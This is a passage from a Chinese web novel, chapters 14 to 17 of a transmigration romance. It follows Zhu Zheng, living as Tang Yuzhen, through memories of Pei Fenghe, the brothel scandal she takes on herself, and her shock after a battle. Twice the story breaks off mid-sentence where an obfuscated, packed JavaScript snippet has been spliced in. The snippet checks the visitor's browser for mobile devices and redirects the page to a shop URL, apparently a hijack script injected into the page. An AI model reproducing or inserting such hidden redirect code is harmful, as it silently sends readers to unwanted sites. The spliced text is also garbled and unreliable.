十几年来,这桩惨案第一次有了线索,却又被一支不知从哪里来的箭打断,好像连老天爷也不愿意他查这件事。 他荒诞无稽的人生总是在失去,他却永远抓不住影子。 边疆五年他靠着“自由”两个字活下去,却还没归京就已经被皇上的帝王心术束缚着。 今日他才从这些事里窥到一点希望,却又即刻被打碎。 他勉力坚持的人生,连任何意义都找寻不到,只是父母要他包容他就包容,唐语蓁要他体贴他就体贴,弟弟妹妹要他负责他就负责。 他变得更好,身边的人怎么就一个个地都离开呢,他到底能抓住什么? 连真相也如此,非要在他稍稍触及就果断离开。 这一生汲汲营营,竟然如此荒谬。 14. 第十四章 回忆(上) 竹徵在迷蒙之中睁眼,见到了镜中的自己。 她还是不习惯这面铜镜,也无法接受镜子中这张脸。 这不是她,杏眼圆脸,娇憨可掬,这明明是唐语蓁。 唐家二小姐,也是她赶鸭子上架般去扮演的人。 她坐在马车上,感受到自己对于四肢的感知渐渐回笼时,也明白了,此刻她终于获得了这具身体的掌控权。 她不太清楚唐语蓁的性格,只能竭力扮演一个温柔得体的世家小姐。 回京路上,父亲叫过她几回,说的话简洁至极,大概意思就说她是家族的希望,要她一定要好好抓住那个素未谋面的未婚夫。 听说他叫裴风鹤。 她一开始就不太喜欢他,她都扮演世家大小姐了,居然还必须把身家性命系在一个男人身上。 入京之后,像是特意为之,唐府就临时安置在裴府旁边。 她见到裴风鹤的时间,却要再往后延。 她身体不太好,但也比传闻中缠绵病榻要好一些,但父亲好像是刻意实践什么一样,并不允她出门。 她望着自家的院子,此时已经入了冬,积雪已厚厚地铺在地上,像是阻拦她的去路。 一天到头她只能见到屋里头几个女使,父亲事忙并不关心她,她只能跟那个小姑说上几句话。 小姑说:“这里多好啊,为什么都想要回去呢?” 她没有说话,她不是想回那个京城之外的老家,而是那个属于她的世界。 她只说:“这里没有柑橘。” 小姑笑了笑,挠挠她的下巴,“柑橘就这么好?值得你放弃这里的一切?” “对,就这么好。” 怎么会不好呢? 她生长在南方,从小爱吃橘,上火了连连叫唤才肯停歇。 这四方围墙,为她圈出了一片天地,而她终日困在这院子里,只能任由想象飞出院墙,飞出这个身体的桎梏。 她只能在家里找些乐子,放风筝兴许就算一个。 没有下雪的日子里,她顶着冬日暖阳便在院子里放风筝,这是她为数不多能感受到温暖的时候,也不管积雪是如何阻挡她的脚步,穿得厚厚的也要扬起自己的手臂,努力将风筝抡起来。 但是那一次她太用力,风筝挂在院子的树上,取不下来了。 她望着那个风筝,心里生出些悲戚来,断线了飞走也便罢了,偏偏还卡在树梢之间动弹不得。 她见不得这个场景,不顾下人的阻拦也要上去将风筝拿下来。 昨日下了雪,积在树上,今日又出了太阳,一些化成水,树上其实特别滑。 她尽力找着树皮中间的缝隙,想要抠住某一块爬上去,但终究只能将树皮全部扒下来。 看着自己劈了的指甲,无论如何也爬不上去的树干,和那孤零零落在那里的风筝,她心里冲出一股剧烈的想要大哭的冲动。 算来一梦浮生,醒来就好了么? 她已经低头,不愿叫下人们见到自己小姐的窘态,温热的眼泪却一滴一滴陷在雪里,好似滚进去的珍珠。 她哭了一会,才想着抬头,随意用衣袖抹了抹脸,却看见一个少年身影已经替她上树去够风筝了。 他是谁呢? 管他呢,还不如她的风筝重要。 她看见他终于够着了风筝,手指一翻就将它夹住,却一个不稳,从树下滑下来。 完蛋了,风筝是,她也是。 少年却没有像她想象中那样一头栽进雪里,摔的头破血流,而是稳稳地落在她身前。 她只能见到少年翻飞的衣袍,和俊朗的面庞。 他这时还有些青涩,不过这时也没有杀伐气,反而是冬日里红红的耳朵和鼻尖那一颗痣让竹徵的心里有了几分动容。 他今日穿的是白色的衣袍,纹饰和材质除了华贵,她也看不出什么。 她看见他肩头有雪,伸手想帮他掸去,他看见她的动作却微不可查地躲了一下,她的手僵在半空。 她莫名赌气起来,还偏就要伸手上前,不过不是掸雪,反而重重地拍了拍他的肩,将雪拍进他的衣袍里,浸湿他的衣衫。 “多谢。” 她为自己的行为找了借口,多了几分自己也没有察觉到的狡黠和愉悦。 屋里的女使这才围上来,领头的扶光先向少年行礼,“见过裴公子。” 裴公子?原来他就是她的“未婚夫”裴风鹤。 少年微微颔首,她们得了令起身,扶光手里拿着她的披风,准备给她披上,她摆了摆手,接过披风。 她还是不习惯别人伺候她,女使们见到这场景,纷纷识趣地退下了。 她在冬日里冻了太久,手有点哆嗦了,尝试了很久,都没有办法将披风系好,手不受控制地抖着。 就在她耐心告罄,想干脆将披风甩在地上时,一双温热的手接过她手上的系带,利落地打了一个结。 她下意识抬头,却被少年长长的睫羽吸引,那上面落了点雪,他却没在意,只盯着她的系带。 大雪与少年,第一次让竹徵感受到别样的静谧,没有说话便也可以没有身份,就这样静静地待着。 她第二次见到裴风鹤,是在比较正经的场合,她父亲和裴国公夫妇的宴会。两家聊得正欢,合了八字下了聘书。 她只记得父亲同她说,这门亲事是唐家的未来。 唐家世代从不同任何权贵结亲,这一条是未成文的祖训,但又从不失圣眷,历代的帝王都奇异地笃信唐家,久而久之,他们在朝中也有了特殊的地位。 因此,裴家对这门亲事简直才叫上赶着,两方都很满意,自然敲定得快。 宴席过后,他们自然而然地被推出去“培养感情”。 她自上次见过裴风鹤,总记得他在雪中替她系带子的模样,有些心痒。 冬夜里开张的铺子并不多,但是她闻见一股烟火气,足足的油香牵引着她来到店前。 是阳春面。 高中时妈妈也爱给她做阳春面,妈妈做的不正宗,她以前总嫌弃。 她刚刚宴席上没吃什么,此刻坐下来点了一碗阳春面。 “你试试吗,是我家乡的特色。”说着将筷子递给他。 他好像没有情绪,只是接过那双筷子,她看他接过,转头跟伙计说再来一碗。 她的设定是从江南老家到京城来,阳春面是江浙沪一带的,这也不算崩人设。 面端上来,不多,她两三口 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裴风鹤一开始,就是如此木楞的形象。 这种事多了几次,她也开始爱跟裴风鹤一起出来玩。 毕竟能逃离小小的四方院墙,还有一个不会说“不”的陪玩,还是很难得的。 父亲事忙,经常不在京城,只要是和裴风鹤出门,下人一般都会遵照吩咐放她出去,因此渐渐地她胆子大了起来,几次之后就开始扮男装。 裴风鹤第一次见到她的男装,也肉眼可见地愣了一会。 唐语蓁的脸是娇憨可爱的类型,扮起男装就是娃娃脸纨绔,而她渐渐不再困在回忆里,整个人开朗活泼很多。 但是裴风鹤第一次陪她去青楼的时候,还是不太愿意。 都到门口了,她死拉着他,求了好半天,他才半推半就进来了。 精明的老鸨霎那就看出来她是女子,他们都到了门口,结果还是被扫地出门。 顾着名声,她没有强求。 失魂落魄地从青楼出来,她侧头才发现裴风鹤第一次笑了。 他只是望着前面浅浅扬了一下嘴角,却被她敏锐地捕捉到,她本来没成功进去的沮丧一下子就被稀奇给代替,饶有兴致地拿手指戳了戳他的手臂。 “你居然笑了?你笑什么?” 裴风鹤有了点被抓包的局促,又恢复了他一贯的冷淡,“没什么。” 但是她还是从他微红的脸颊上窥出些不同,心里反而升起一股雀跃。 真有意思,比这青楼有意思。 她后来还想从这个木头身上寻找一点常人的情感波动,却再没有见到过青楼被拒的浅笑以外的东西。 直到后来,有风流公子说在青楼见到裴风鹤,裴家大公子狎妓一事闹得满城风雨。 一时之间竟无法收尾,裴国公听闻此事,从京郊大营赶回来,令裴风鹤跪在府前一日一夜方才能起,跪完之后亦要家法伺候。 她听见这话,只有慌乱和气愤,怎么这么不小心?怎么不把她供出来呢? 明明只要说实话就好了,怎么总是习惯性担下所有独自受罚呢? 15. 第十五章 回忆(中) 竹徵甫一听说,立马要去裴府解救裴风鹤。 开玩笑,让他给自己背锅,将来还不知道怎么受他拿捏…… 虽然她自己很清楚,裴风鹤不是携恩图报的人,只是她需要一个说服自己的理由。 她来到这世界,不愿意欠任何人的人情。 刚同下人磨了好久的嘴皮子,好不容易说清楚了其中利害,却半路杀出个程咬金——父亲回来了。 他这回回来得巧,撞上了正要出府门的竹徵。 “唐语蓁!”父亲看到她出现在府门的那一刻,就明白了她想干什么,不允她出门,说要将她禁足。 她一直在做心理斗争,她成为唐语蓁之后虽偶有出格,但大体上还是一个温柔娴静的世家小姐,今天这行为实在有些过分了。 男装逛青楼,还是跟自己的未婚夫,还被捅出来,每一个字拎到古代社会都是惊世骇俗。 父亲第一次动了怒,随手将给她的礼物掼在地上。里面精致美丽的瓷娃娃全碎在地上,变成碎片。盒子里还骨碌碌滚出几个柑橘。 她上次同小姑说过她想吃,但现在可没什么大棚,这么丰满圆润的柑橘,一看就是从南方带来的。 她心弦被轻轻拨动了一下,父亲到现在给她的都是压力,她同这位父亲相处不久,并没有什么感情,但是…… 她不顾地上的碎瓷片,兀地跪在地上,抵着她华贵的衣衫,渗出点点鲜血,疼痛反而让她有几分清醒。 她伏在地上,额头抵着冰凉的地板,用颤抖的声音说:“爹,此事因我而起,父亲教我礼义廉耻,女儿无法坐壁上观。何况……” 她此时才慢慢起身,望着父亲的眼睛,眼神里充满着她扮演唐语蓁以来不曾有过的坚定,“何况,裴公子名声如此,也有误两家婚约,女儿主动认下,总不至于太难听。” 父亲一直看着她,眼神好像要穿透她,看见什么端倪。 她依旧直跪着,心里打着鼓,膝盖上的碎瓷早已划破她的衣服,狠狠嵌进她的血肉里。 由膝盖蔓延到全身的疼痛几乎让她撑不住,但倔强如她并不愿在此刻低头。 父亲没有再看她,转身向府里走去。 看着那决然的背影,竹徵心里泛出几分绝望,“父亲!” 对方听见这声,微微地叹了口气,只撂下一句“换了衣服再去。”便大步流星地踏进府中。 竹徵已经说不出别的话,欣喜地要起身,却被膝盖的疼痛牵引,难以动弹。 刚刚还在一旁不敢上前的女使们赶紧围上来,为首的扶光望着她担心地问:“小姐,没事吧?” 她摆摆手,凑近扶光耳边,同她说:“衣裙拿上,我去车上换。” 时间紧急,救人要紧。 扶光的面色明显垮了,但是还是没有说什么,赶紧有序地指使小厮套车,女使取衣服。 竹徵却没心思关心,她忍痛将嵌入自己膝盖的碎瓷一片片剔出来,她的眉不受控地皱着。 幸好碎瓷不多,有着衣袍隔着,伤势并不算很严重。 等准备好,她马上就上了马车。 对于裴风鹤这种人来说,要他跪在府门前多一刻,就是要他将自尊放在地上任世人踩多一刻,她穿书以来,没遇见过几个让她真正在乎的,裴风鹤算一个。 她换好衣裙,在扶光的帮助下仔细处理了伤口,扶光要给她仔细上药包扎,被她拦下来了。 “药给我吧,不必上了,多包几层,等会肯定还得跪。”她将药瓶揣进衣袖。 扶光的“是”里透出几分心疼,却没动容竹徵心里的坚定。 “裴风祎呢?”她将车帷轻轻掀起来,观察着外面的情形,人头攒动,这条是往裴府走的路,应该都去看热闹了。 “刚听其他女使说,裴小公子现在还在醉仙楼呢。” 裴风祎就是裴风鹤那个不成器的弟弟,素有纨绔之名。才十三岁,天天上青楼,全京城都得罪了个遍,最后还是裴风鹤上门一个个道歉才算了事,裴家管不住这个小儿子,倒是喜欢管着听话的大儿子。 醉仙楼也是有名的酒楼,正好在这条路上,“直接去醉仙楼!” 她把裴风祎抓上,这一碗水裴家不论如何都得端平了,裴风鹤逃不过,裴风祎也得脱层皮! 她手里攥着自己的簪子,是一个紫色鸢尾花样式的,刀剑她拿不稳,簪子倒是可以出奇制胜。 同小二问了路,扶光跟在她身后,她伸手示意噤声,趴在包厢的门缝间偷听。 里面尽是觥筹交错,推杯换盏的声音,偶尔能听见裴风祎吹嘘几句。 直到有一个人问:“裴公子,我今日路过你家门,你哥还跪在府门口呢,你倒没事人一样,看来无论你哥多优秀,将来都是我们裴公子袭爵呀。” 竹徵在门后忍不住嗤笑一声,裴国公的爵位都是因为他妹妹裴成君亡故后无子才落到他头上的。 云暨英和裴成君是原书中的男二女二,是男女主,即摄政王和太后的左膀右臂。 摄政王在太后上位前,承担的一直是暗处的工作,而他的暗桩和暗线就是由云暨英一手包办的。裴成君在出阁前跟太后宗茗芜就是闺中好友,作为将门虎女,她承袭衣钵,也是太后掌握朝政的中流砥柱。 他们在原书中的对抗拉扯也是一大看点,书末尾他们成亲生子,却在大结局为了男女主对抗反派的斗争过程中,大儿子失踪遗落。 而小说完结后番外篇中他们生下的小儿子,云世子。也在“石马惨案”云裴双死后夭折。 太后感念裴成君的功绩,保留了她的爵位,却让能力不及她十分之一的弟弟,也就是现在的裴国公继承。 裴国公自己的爵位都是捡的,还好意思把自己妹妹拼死拼活挣出来的军功和荫蔽,拱手送给一个这么个没出息的纨绔。 裴风祎无所谓地说:“那当然,最近我哥要跟唐家联姻,京城有些没眼珠子的居然说爵位会传给他。怎么可能?那唐家小姐也是个睁眼瞎,谁知道是不是早就私定终身,他俩私下里不知道玩成什么样!我略施小计,他现在还得在府前跪一日一夜呢,拿什么跟我争?” 竹徵听到这再也忍不住,今日谁来都挡不住她,扶光好像在后面扯了一下她的袖子,她顿了一瞬,还是直接一个飞踹,踢开了包厢的门。 里面的几个纨绔一下子被吓得四散,慌乱地躲藏,裴风祎正好坐在门口,瞬间被吓倒在地。 “谁!” 竹徵将繁琐的袖子撸起来,对着要坐起来的裴风祎就是一脚,踏在他的胸口,将他死死压在地上,“你姑奶奶!” 唐语蓁身体不怎么样,但是对付这么一个酒色虚空的纨绔还是没有露怯,她将早就准备好的簪子抵在他的脖子上,少见地狠辣,“起来!” 裴风祎已经被她吓得半死,还要打肿脸充胖子,“唐语蓁,你怎么敢!” 竹徵握着簪子的手早已青筋暴起,她用的力太大,裴风祎的脖子上已经浸出血珠,“怎么不敢!” 姐姐在学校整治不良少年的时候他还不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289445|152085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道在哪玩泥巴呢。她高中时就是安全部大名鼎鼎的人物,抽烟霸凌的不良少年一抓一个准,别的不说,气势是拿捏了的。 “你也知道我是谁,那就该知道,这门婚事谁更在乎,你猜裴国公会选择退婚还是揍你?” “老实点自己去认错,我不想说第二遍。” 裴风祎几乎是狼狈地爬起来,他心里很清楚裴国公有多在意这门婚事,他这招能坑到裴风鹤,很大一部分原因是裴国公太想保住这个联姻。 周围的纨绔全都瞠目结舌地看着,唐语蓁的形象一向是温婉的,今日这场面也是完全颠覆了大众印象。 这一轮下来,没人再敢拍裴风祎的马屁,也没人敢出头,全都麻利地给她让了路。 她押着裴风祎,坐上马车,顺着裴府的方向去。 裴风祎那不服的表情,看得竹徵想先放下簪子给他一耳光。 “我单知道你是个纨绔,造谣毁坏女子名声你也做的出?”竹徵捏紧了簪子,往里又进了几分,欣赏着裴风祎害怕的神情。 “再让我听到,我一定亲自提刀去找你算账,清楚么?” 裴风祎不说话,只梗着脖子。 竹徵毫不留情地给了他一巴掌,“啪”地一声响得外面的扶光都被吓一跳,她打完还像嫌弃什么脏东西一样,甩了甩手。 簪子依旧没有从他脖子上移开,划出一小条血痕。 裴风祎马上用愤怒的表情盯着她,“你!” 竹徵的表情反而散漫起来,“还要我再问一遍吗?” “知——道——了。”裴风祎咬着牙,一个字一个字往外蹦,眼中仿佛要喷出火来。 竹徵很满意他这幅不爽但又干不过她的样子。 到了府外,扶光在外面小声说:“小姐,到了。” 竹徵收了簪子,重重地拍了两下裴风祎的肩,“都到这了,知道该怎么说,怎么做吧,弟弟?” “反正你的脸都丢尽了,不差这一桩,况且你只要说出事实,免了裴国公一顿打,多划算。” “等到姐姐做不了你嫂子,你才是哭都没地方哭啊……” 裴风祎仍旧不说话,但是很识趣地下了马车。 竹徵看见他的动作,知道拿捏住他了,在他之后得意地下了车。 可是在她落地那一刻就换了表情,俨然成了严肃悲戚的世家小姐。 她望着跪在那的裴风鹤。他今日穿的是白色的衣袍,垂下的衣摆落在尘土里,早已不复高洁的颜色。 他孤零零地跪在人群前,虽脊背未弯,却太过孑然孤独,像一尊破庙里的泥菩萨。 她上前一步,先押着裴风祎也跪在府门前,随后自己也扑通一声跪下去。 周边看热闹的市井居民越来越多,她听见这些人叽叽喳喳讨论的声音。 她同时也感受到裴风鹤侧头而来的目光,用温热的手盖在他久跪而冰凉的手背上。 她触及他手时被凉得哆嗦了一下,但她仍旧义无反顾地轻轻抓住他的手掌,向他传递温度。 不是自己的错却要被千夫所指,原来是如此冰冷的滋味,她心里泛起一阵酸。 裴风鹤想要挣脱时,她却用目光安抚他,扬起一个她在这个世界从未展露过的笑容,那是她长久未找寻到的自信和意义。 你是我在世上找寻到的第一个想要靠近和保护的对象,我怎么能不站在你这一边呢? 随后,她用清澈却又宏大的声音说:“裴风鹤未婚妻唐语蓁携裴风祎,特来向裴国公请罪!” 16. 第十六章 回忆(下) 众人哗然,身边的声音逐渐变大。 有人说:“这唐家小姐真是不知羞耻啊。” “哪里轮得到她带着裴公子请罪啊。” “这是要逼裴国公吗?” 裴府里面的下人乱作一团,过了良久才出来一个管家打扮的人。 他赶紧下了府前的台阶,跪在竹徵和裴风祎身边,“唐小姐,您快起吧!” 裴风鹤又要翻手将她推开,她使劲握住她的手,不容置疑地拍了拍,“您请国公过来吧。” 管家愣了一下,她再度扬起一个笑容,管家也拿她没办法,起身退下了。 裴国公走到府门时,看到的就是这样一幅场景。 三个人低着头排排跪,看热闹的围得府门水泄不通。 竹徵听见裴国公压抑的怒意:“这是干什么?” 竹徵知道主角来了,随即马上伏在地上,行了一个稽首礼方才跪起,双手垫在额下:“儿媳前来请罪!” “虽未过门,但两家已合了八字,换了庚帖,语蓁也算是裴家的儿媳,今日在醉仙楼见到小叔子,竟得知今日之事是他攀污大哥,传出来的谣言!语蓁承蒙厚爱,愿替小叔子认罪受过!” 原本看热闹的人群一下子炸开了。 虽然裴唐两家早有传言要定亲,可是毕竟没有定下来,她这话相当于是以自己的名声作赌,裴家是非嫁不可了。 而且裴家兄弟阋墙虽然不是秘密,但搬上台面让一个未过门的媳妇替人认罪,还是丢光了脸面。 裴国公面子上怎么挂的住呢?他指着唐语蓁,气得手都发抖,“你!你……” 眼看他就要气晕过去,竹徵赶紧补一刀,“请国公惩治儿媳!” 裴国公受不住,彻底晕过去。 竹徵心想晕的恰好,马上拉住裴风鹤的手,站起来,快走几步到裴国公面前,“来人啊!” ———— 最后,这件事以裴风祎罚跪祠堂,禁足半年收尾。 竹徵不太满意这个结果,但是裴国公和夫人护着这小犊子,闯了多少祸都没真正罚过骂过,反而还让裴风鹤去各家认罪道歉,这一遭之后,多少收敛点,暂时也不能出来祸害人了。 裴家的管家简直像是送瘟神一样将她送到了偏门——正门口毕竟还有很多看热闹的。 “大小姐,您快请吧。” 竹徵看着他这表情,很是满意,“记得帮我转告裴国公,请他不要苛待我的未婚夫。” 说完就蹦蹦跳跳地上马车了,扶光都差点没扶住她。 这件事到这里也算是完美落幕了,她非常满意自己的表现,反正要找身体,找穿书者。 她就算放弃唐语蓁这个身体,成为一缕意识,只要找到了自己的身体也能活,嫁不嫁裴风鹤还不是看她的心情。 平日里被父亲拘着不敢出格是怕被当成妖异抓走,而且也不是什么难事,忍便忍了。 可是今日,让她的陪逛机器人受这种委屈,就怨不得她大闹了。 裴风鹤只有她能欺负。 况且……她在这之中第一次寻找到了意义。在这广阔的世界中,有一个人需要她,这样,就很好。 马车还没开始行驶,就听见扶光在外面通传,说裴风鹤想见她。 她心里升起一股得意来,摇着脑袋,首饰都叮叮咣咣地响。 肯定是要谢谢她,好不容易做了件好事,好话一定要听听。 她拉开车帷,下车时膝盖传来一股剧痛,心抽了一下,她得意忘形了,忘记自己还有伤…… 这才缓缓地撑着扶光的手一步一步走下来。 到偏门时,裴风鹤就站在那棵樟树之下。 他没有换衣服,白衣染尘反倒有种凌虐的美感。 她怕扯着伤口,缓慢地走过去。 “怎么啦,是不是要感谢……”竹徵走近了看见裴风鹤的脸,才发现他脸上没有半分喜悦,很是严肃。 “唐小姐今日为何如此,一点都不顾惜自己的名声吗!”他溢出几分怒气,第一次让竹徵在他脸上看见“怒目圆睁”四个字。 竹徵感觉刚刚雀跃的心被浇了一盆冷水,一下子就默然了。她心里升起异样的怒火。 她最讨厌这种得了便宜还卖乖的人,自己为了这件事忙前忙后,他上来就是一通质问,气不打一处来:“你凶什么!我今日替你解决这件事不还是因为你也不说实话!” “你以为谁愿意管你的破事!” 她差点气上不来,听到这些话,根本不愿意听他多说,甩袖子就要走。 转身刚走了几步,就有人拉住了她的袖子。 “对不起。”裴风鹤的声音有点沉闷。 “裴公子,有些话出口就是伤害。你要是想拦我,大可以当时就捂住我的嘴将我打晕。” “享受了我所做的一切,反过来怪我不爱惜自己,就能让你心里好受吗?” “没人要你帮我瞒着我去过青楼,你自己作践自己,反而觉得不忿,才是虚伪的。” 竹徵跟本就没有回头,只一点点地将衣袖从他手里抽出来,那一刻她好像听见了自己心里什么东西破碎的声音,碎到一地残渣,没有人捡拾,等她抬脚才发现一颗颗早已扎进脚里。 她忽略了心里的伤痛,将衣袖扯出来之后还用手平了平,方才踏着沉重而又深刻的步子走向在那里等着的扶光。 扶光跟了一天,竹徵心疼她将她叫上车坐着。 竹徵正在气头上,整个马车内气氛尴尬。 扶光轻声说:“小姐?奴婢看见裴公子表情很失落,明明今日您不是帮了他吗?” 竹徵一边吃着零嘴,一边气着:“他有病,我帮他他还质问我。” 扶光接过竹徵手里其他的零嘴,替她端着,“小姐呀,奴婢斗胆说一句,国公府向来偏宠,裴公子没得到过什么关爱,除了肖公子更是没有朋友,何况最近肖小姐回来,肖公子也没空。” “裴公子说不定只是慌乱了,不是有意的。” 竹徵忽然没有了愤怒的气焰,很平静地叙说着:“如果他的慌乱就是将我的心意弃如敝履,那么他也配不上我的回护。” 她将手上的零嘴丢在刚刚用手帕包住的那一堆残渣里,“我的耐心和毅力很有限,没什么迎难而上的美好品质。” “我的心意只有这么多,如果他丢掉了我的前一半,我还要把后一半再送给他,等着他丢掉或是报答,那今日是我该被骂。” “我很爱护我自己,所以我不愿意为了他伤害自己。” 竹徵说完这些,其实心里还是不太开心,还有一些不能说的。 裴风鹤今天的行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289446|152085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为,虽然只是不领情。 但是她已经替唐语蓁提前付出了她的后半生,太冲动了,幸好真正的唐语蓁已经回到现代。 她的每一个选择太过冲动激进,可是人生哪有完美的过去或未来,她所能做的,不过只是从心所欲,无悔结局。 ———— 竹徵听见周围有杂乱的声音,她缓慢睁开眼睛,才发现原来是一场梦。 梦醒魂归,终究没有将前事叙尽。 她感觉身体有些不适,可能已经晕了很久,有些口干舌燥,还格外地有些饿。 她撑着起了身,才发现胡娘子就在身边,她觉得这场景颇为熟悉,浅笑了一下,用沙哑的声音说“胡娘子,我这又是怎么了。” 胡娘子本来还在一旁打盹,听见她说话才忙站起来,话里还带着几分未完全清醒的慵懒,“曲小姐,你终于醒了!” 说罢胡娘子就倒了一杯茶,向她解释了一下现在的情况。 竹徵记得她晕倒之前,是金虹帮遭攻击,她答应帮主只要她逃走,玉佩交由他们,她不做这个肖小姐,然后她就晕过去了。 胡娘子说:“后来裴将军赶到,与帮主争执不下。裴将军问帮主是不是杀了华县令,帮主不承认。除此之外还在争论玉佩的归属,帮主自然是希望留下玉佩和你,但将军想将你救下来。” 听起来倒是比较合理,竹徵继续问,“然后呢?” “然后昌乐公主赶到,主持大局。最后张巡交给裴将军审,金库钥匙由她代管,金虹帮解散。” 竹徵点点头,“算是保下了帮主和帮派内众人的性命,是目前最好的方案了。那我呢?” 胡娘子将玉佩拿到手上,塞在竹徵怀里,“玉佩和你,来去自由。” 竹徵拿到那块玉佩,听见这句话时,才迸发出最纯粹的快乐,“真的吗?” 胡娘子似是不太理解她的开心,懵懵地点点头。 竹徵赶紧将玉佩收进怀里,面上是掩不住的雀跃。 胡娘子坐到她边上,拿肩膀撞了撞她,“当富家小姐不好吗,你为什么听见这句话这么开心?” 竹徵开心地从榻上下来,让胡娘子正好扑了个空,倒在榻上,她嘴里哼着小曲,转头道:“那不一样,无论是裴将军还是穆帮主,都是想利用我罢了。” “他们一个想要通过我找到张巡并撬开他的嘴,一个想要我替他的儿子铺路。无论站在谁那边,我都没有自由。” 她开心地拉开衣柜,胡娘子早就将那些她常穿的衣物放在柜中,“可是公主一下子解决了他们俩的问题,又亲口许下我自由,那我今后想做什么都不受他们掣肘。” 昌乐公主英明啊! 她心里开心,挑的衣衫也是颜色鲜艳的,但忽然,她想起什么,视线依旧在衣服上,但微微偏头问,“那那天攻打金虹帮的……” 胡娘子乍一听,没品出什么问题来,“你不知道吗,就是裴将军呀。” 竹徵听见这句话,愣在了那里。 一瞬间她恍若隔世,记忆中又浮现出她晕倒前的画面。 残肢碎片,尸横遍野,血流成河…… 愧疚与不堪浮上心头……她居然没有先问问,这一役,究竟死了多少人。 甚至还挑出来最明艳的裙子,来“祭奠”那些横死她眼前的亡魂。 17. 第十七章 报仇 竹徵看着自己手里的那件水红色衣裳,眼前闪过那些鲜血,一下子完全拿不住这件衣服。那抹水红就这样从她指尖流淌到地上。 她那一瞬间几乎失去了力气,眼前的场景不断重现,她感觉胃里有什么东西从底下翻上来。 她感觉脏器都移了位,再也控制不住身体里冲越的力量,对着地板开始呕吐。 她晕了两天,没吃什么东西,吐出来的全是苦涩的胆汁。 她觉得全身都像烧过一般难受,火辣辣的。她想停止,却无法止住那些闪回的血红画面和那时围在她身边一张张熟悉却又沉寂的脸。 终于她已吐无可吐,身体的负荷到了极点。 胡娘子明显被这场景吓个半死,她被公主找过来陪护曲小姐以来,先是昏了两天,期间都是勉强喂进去了几口汤药,刚醒来又这样一吐,身体哪里受得了。 她赶紧拍拍竹徵的背,边迅速又倒了一杯茶水,递给她润润喉,刚准备问几句她身体如何,她就说道:“带我去找裴将军。” 竹徵此刻已经没有了最开始的心情,只剩悲戚,她不明白裴风鹤明明有那么多选择,为什么非得选这个最残忍的。 金虹帮的人,他军队的人,就不是人吗? 她穿书这么久以来,这是第一次,看见和经历那样的残杀。 不同于瞬间治敌的一枪爆头,冷兵器的相交总带着一股血腥味。他们没办法用刀剑完全地抹杀一条生命,就只能一刀刀地割裂一个人。 每一刀切下去时,那种血肉之间的撕裂与迸发,是每一条雀跃生命流逝的进度条。 不是所有人都会被一刀毙命,也不是砍断了手脚就会即刻晕倒死亡,于是甚至产生了战场之上的虐杀,有人提刀追赶,一点点消磨掉已经残破的身体和希望。 她听见有人疯狂的大笑,也听见了有人痛苦的哀嚎。 在人类最开始的生活里,或许就是茹毛饮血,崇尚血腥的,但是她做不到。 她做不到看见这些泯灭人性的厮杀而不作为,她也做不到……忘记那一刻自己也曾提刀砍下对方的手臂。 她晕倒的那一刻甚至是微不可查的庆幸,因为她不必再被迫拿上刀护卫自己的安全,不必再被迫去看见那些屠杀,也不必再去担忧与惧怕。 她望着那双手,已经无法再信任那双手,因为它也曾背叛过她可笑的尊严和原则。 她将之前的一些白色手帕撕成长条,一圈圈绕在自己的手上,绑成之前上拳击课学的那样。 她不愿意再去看自己的手,也不愿意去回忆那样的惨案。 但是她想问问裴风鹤,为什么? 为什么可以罔顾她的安全,可以放弃那些生命,非要制造这场厮杀? 她跟着胡娘子走出门,在广阔的土地上,感受到了风。 就这样微微地吹拂过来,携带了些微弱的自然气息。 让她没来由地想起来六年前的秋天。 她跟同学站在操场上,问老师为什么一定要跑八百米,老师没有说冠冕堂皇的话。 她说,因为今天风正好,他们还年轻,总要尝尝迎风飘扬的滋味。 她那时不懂,和同学一起笑着说老师真文艺,要他们跑步也说得这么好听。 最后也没有跑起来,只在风中拨弄着乱飞的马尾辫,说着班上时兴的八卦,看着奋力在操场上穿着校服奔跃的同学。 老师在后面说:“那两个偷懒的!” 她跟朋友才跟做贼一样偷偷拉着手逃脱控制区,发出奇怪的笑声。 那时的风好像吹到了如今。 她忽然就不想去了。 这里没有熟悉轻便的校服,没有标准鲜艳的硅胶跑道,没有单纯可爱的他们。 她看着身旁的胡娘子,猛然意识到,其实她没有资格要求裴风鹤。 她终究无法成为真正的书中人,却无法强求别人同她一样有着来自那个时代的思想。 她如此地急切或许也只是为了缓解自己心里的不堪,也或许只是为了她心里的少年开脱而已。 她停下脚步,“不去了。” 胡娘子感觉她从刚刚开始就一直不对劲,忙问:“怎么了?” 她没有解释,只是站在任由风吹动她的脸庞与衣裙。 她说不求无功,但求无过,可她真的无愧于心吗? 她在冷风中站了很久,直到衣服变得冰凉,绑带勒疼了她的双手。 胡娘子看到她这样,也不敢说话,只木木地待在一旁,她们在这块地方呈现着死一样的寂静。 直到有下人在身后通传,说公主请她去一趟地牢,若不愿意也不勉强。 她这才恍然回过神,她来这里,其实是为了替曲如桢复仇。 一桩桩事出现,她竟忘了还有张巡的账要算。 她礼貌地向来通报的侍女微点了一下头,随后就跟上。 这个地牢的环境,跟之前参军囚禁她的差不多,很昏暗也很安静。 引她来的侍女在到达地牢后就离开,她为了说话方便,也将胡娘子遣走。 